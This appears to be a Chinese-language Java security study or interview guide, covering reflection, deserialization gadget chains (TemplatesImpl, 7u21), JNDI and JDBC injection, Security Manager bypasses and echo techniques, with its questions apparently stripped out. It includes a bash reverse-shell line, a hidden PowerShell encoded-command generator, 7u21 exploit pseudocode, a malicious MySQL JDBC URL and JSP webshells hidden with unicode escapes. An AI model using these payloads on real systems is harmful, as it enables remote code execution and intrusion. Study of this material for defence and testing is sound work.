反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果
可以做到,参考以下代码
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);可以使用的类和方法如下(参考三梦师傅)
ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1会失败,简单来说因为>符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash下才可以,使用Java执行这样的命令会失败,所以需要加入Base64
bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}针对Powershell应该使用以下的命令
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64这个特殊的Base64和普通Base64不同,需要填充0,算法如下
public static String getPowershellCommand(String cmd) {
char[] chars = cmd.toCharArray();
List<Byte> temp = new ArrayList<>();
for (char c : chars) {
byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
for (byte b : code) {
temp.add(b);
}
temp.add((byte) 0);
}
byte[] result = new byte[temp.size()];
for (int i = 0; i < temp.size(); i++) {
result[i] = temp.get(i);
}
String data = Base64.getEncoder().encodeToString(result);
String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
return prefix + data;
}其实这个问题有点类似JSP Webshell免杀
大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)
RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性
LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性
RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发
通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过
LDAP的限制中不对javaSerializedData验证,所以可以打本地gadget
这个类本身是JDK中XML相关的类,但被很多Gadget拿来用
一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl类,其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组,是被加载的字节码
通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法(getter)中调用了newTransformer方法,也是一个利用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码
但是在Java 8u251之后该类从JDK中移除
从LinkedHashSet.readObject开始,找到父类HashSet.readObject方法,其中包含HashMap的类型转换以及HashMap.put方法,跟入HashMap.put其中对key与已有key进行equals判断,这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))所以这里需要用哈希碰撞,让下一个key的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法,两个key对象不相同是显而易见的
接下来的任务是找到一处能触发equals方法的地方
反射创建AnnotationInvocationHandler对象,传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke方法,在AnnotationInvocationHandler这个InvocationHandler的invoke方法实现中如果遇到equals方法,会进入equalsImpl方法,其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用,通过getOutputProperties方法最终加载字节码导致RCE
关于7U21的伪代码如下
Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;结合调用链
LinkedHashSet.readObject()
LinkedHashSet.add()/HashMap.put()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
可以看到伪代码最后在map中put了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的,跟入hashCodeImpl方法看到是根据传入参数HashMap来做的,累加每一个Entry的key和value计算得出的hashcode。通过一些运算,可以找到符合条件的碰撞值
这是7U21修复的绕过
在AnnotationInvocationHandler反序列化调用readObject方法中,对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过,在它的readObject方法中调用readChildren方法,其中有try-catch但没有抛出异常而是continue继续
所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据
首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
首先想到的办法是dnslog等技术进行外带,但必须出网,有限制
然后类似内存马的思路,针对指定中间件找response对象写入执行结果
尝试写文件,往web目录下写,例如xx.html可以访问到即可
将命令执行结果抛出异常,然后用URLClassLoader加载,达到报错回显
Y4er师傅提到的自定义类加载器配合RMI的一种方式
获取本次http请求用到socket的文件描述符,然后往文件描述符里写命令执行的结果
但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题
原理类似linux的通杀回显,在windows中nio/bio中有类似于linux文件描述符这样的句柄文件
遍历fd反射创建对应的文件描述符,利用sun.nio.ch.Net#remoteAddress确认文件描述符有效性,然后往里面写数据实现回显
果我们可以控制JDBC URI就可将JDBC连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据
指定autoDeserialize参数为true后MySQL客户端就可以自动反序列化恶意Payload
使用ServerStatusDiffInterceptor触发客户端和服务端的交互和反序列化
jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
以上是基本攻击手段,还有一些进阶的内容,例如allowUrlInLocalInfile和detectCustomCollations参数
在JEP 290中提供一个限制反序列化的类的机制,黑白名单方式,同时限制反序列化深度和复杂度,为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器,可以从属性或者配置文件中配置。在ObjectInputStream类中增加了一个serialFilter属性和一个filterChcek函数,其中serialFilter就可以理解为过滤器
根据JEP 290限制的原理,白名单对象包括了:String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等
如果目标的RMI服务暴漏了Object参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测
另外还一些骚思路,比如想办法改源码,或用Java Agent对某些方法Hook并更改等
通过设置参数java.security.policy指定policy以提权;反射调用setSecurityManager修改Security Manager以绕过;自定义ClassLoader并设置ProtectionDomain里面的权限初始化为所有权限以绕过;由于native方法不受Java Security Manager管控,所以可以调用这些方法绕过
首先是由C/C++编写的Bootstrap ClassLoader用于加载rt.jar等核心包
然后是Extension ClassLoader加载JDK中Ext目录的包,可以加入自定义的包
接着是Application Classloader加载CLASSPATH中的类,项目中的类都是由该类加载器加载完成的
最后是自定义类加载器,继承ClassLoader类重写findClass方法,在Webshell中有应用
当某个类加载器需要加载某个class文件时,首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类
父类加载器一层一层往下分配任务,如果子类加载器能加载,则加载此类,如果将加载任务分配至系统类加载器也无法加载此类,则抛出异常
最主要的作用是保证系统类的安全,基础类不会被自定义类加载器破坏和篡改,其次防止重复加载可以提高效率
使用JNI是比较通用的办法,具体到每一种漏洞类型,也会有其他的绕过方式(参数污染,特殊字符等等)
Java Security Manager的一个典型应用场景是JVM需要加载运行一段代码,但是这段代码是不可信的
例如来自用户的输入上传和反序列化指定的bytecode或者使用URLClassLoader在网络中远程加载等
这些情况下,需要防止不可信来源的恶意代码对系统造成破坏。其实这就是沙箱的应用场景
(1)单等号+home目录可写导致Java Security Manager绕过
例如这样指定policy文件:-Djava.security.policy=java.policy
(2)通过setSecurityManager绕过Java Security Manager
恶意代码可以在运行时调用setSecurityManager方法将SecurityManager置为null以绕过
(3)通过反射绕过Java Security Manager
反射调用getProtectionDomain0方法将所有hasAllPerm属性设置为true
(4)自定义类加载器绕过
(5)通过JNI调用native方法绕过
编译JSP时其中的unicode会进行解码,其中\u000a变成换行,导致后面的exec可以执行
<%
Runtime.getRuntime().
//\u000aexec
(request.getParameter("cmd"));
%>加入转义符将会变成简单的注释,这将变成普通的webshell
<%
Runtime.getRuntime().
//\\u000axxxxxx
exec(request.getParameter("cmd"));
%>一种特殊的方式(原理较复杂暂不分析)
<%
Runtime.getRuntime().
//\u000d\uabcdexec(request.getParameter("cmd"));
%>